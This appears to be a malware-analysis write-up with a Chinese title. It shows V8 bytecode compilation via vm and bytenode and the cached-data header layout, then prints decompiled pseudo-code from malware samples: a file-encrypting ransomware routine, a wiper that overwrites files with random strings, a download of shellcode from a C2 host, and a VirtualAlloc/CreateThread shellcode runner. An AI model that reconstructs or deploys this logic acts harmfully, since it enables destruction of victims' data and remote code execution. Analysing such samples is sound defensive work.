探索编译的V8 JavaScript在恶意软件中的应用

const vm = require('vm');// Compiling JavaScript into serialized bytecodelet helloWorld = new vm.Script("console.log('hello world!')", { produceCachedData: true });let compiledBuffer = helloWorld.cachedData;

const bytenode = require('bytenode');// Compiling JavaScript into bytecode and executing itbytenode.compileFile('script.js', 'script.jsc'); // Compiling JavaScript to bytecoderequire('./script.jsc'); // Running the compiled bytecode

struct CahcedDataHeaders{static const uint32_t kMagicNumber;      // 0xC0DE0000 ^ ExternalReferenceTable::kSizestatic const uint32_t kVersionHash;      // V8 version hashedstatic const uint32_t kSourceHash;       // Original source code lengthstatic const uint32_t kFlagHash          // V8 flags hashedstatic const uint32_t kPayloadLength     // Bytecode lengthstatic const uint32_t kChecksum          // Bytecode Adler-32 checksum};

function encryptFile_0000023737FA04E9(file_name) {{r6 = fs["statSync"](file_name)if (r6["size"] > 100000000){return undefined}r6 = isHiddenFile(file_name)if (r6 == true){return undefined}r1 = crypto["createCipheriv"]("aes-256-cbc", key, iv)r2 = fs["createReadStream"](file_name)r3 = fs["createWriteStream"](file_name)r7 = r2["pipe"](r1)ACCU = r7["pipe"](r3)ACCU = r3["on"]("finish", SharedFunctionInfo_0000023737FA0769)return undefined}

function destroyFiles_000000CBE13DDDC1(a0) {Scope[2][2] = a0r0 = fs["readdirSync"](Scope[2][2])ACCU = r0["forEach"](SharedFunctionInfo_000000CBE13DDF51)return undefined}function SharedFunctionInfo_000000CBE13DDF51(a0) {r0 = path["join"](Scope[2][2], a0)r1 = fs["statSync"](r0)if (r1["isDirectory"]()){ACCU = destroyFiles_000000CBE13DDDC1(r0)}else{r9 = "Math"["random"]()r6 = string_list["Math"["floor"]((string_list["length"] * r9))]r5 = r0ACCU = fs["writeFileSync"](r5, r6, "utf8")}return undefined}

http = require("http")r3 = require("./update.js") // configuration file containing C2ffi_napi = require("ffi-napi")ref_napi = require("ref-napi")Scope[1][4] = ref_napi["types"]["uint64"]Scope[1][5] = ref_napi["types"]["uint32"]Scope[1][6] = ref_napi["types"]["void"]Scope[1][7] = ref_napi["refType"](Scope[1][6])Scope[1][8] = Scope[1][7]Scope[1][9] = ref_napi["refType"](Scope[1][5])r4 = http["get"](r3["UpdateSoftware"], get_shellcode)ACCU = r4["on"]("error", SharedFunctionInfo_000002F3D955EA09)

r1 = ffi_napi["Library"]("kernel32", r7)r6 = r1r2 = r1["VirtualAlloc"](null, shellcode_buffer["length"], 12288, 64)r6 = r1r7 = r2ACCU = r1["RtlMoveMemory"](r7, shellcode_buffer, shellcode_buffer["length"])r7 = ref_napi["refType"](ref_napi["types"]["uint32"])r3 = ref_napi["alloc"](r7)r6 = r1r9 = r2r12 = r3r4 = r1["CreateThread"](null, 0, r9, null, 0, r12)ACCU = r1["WaitForSingleObject"](r4, 4294967295.0)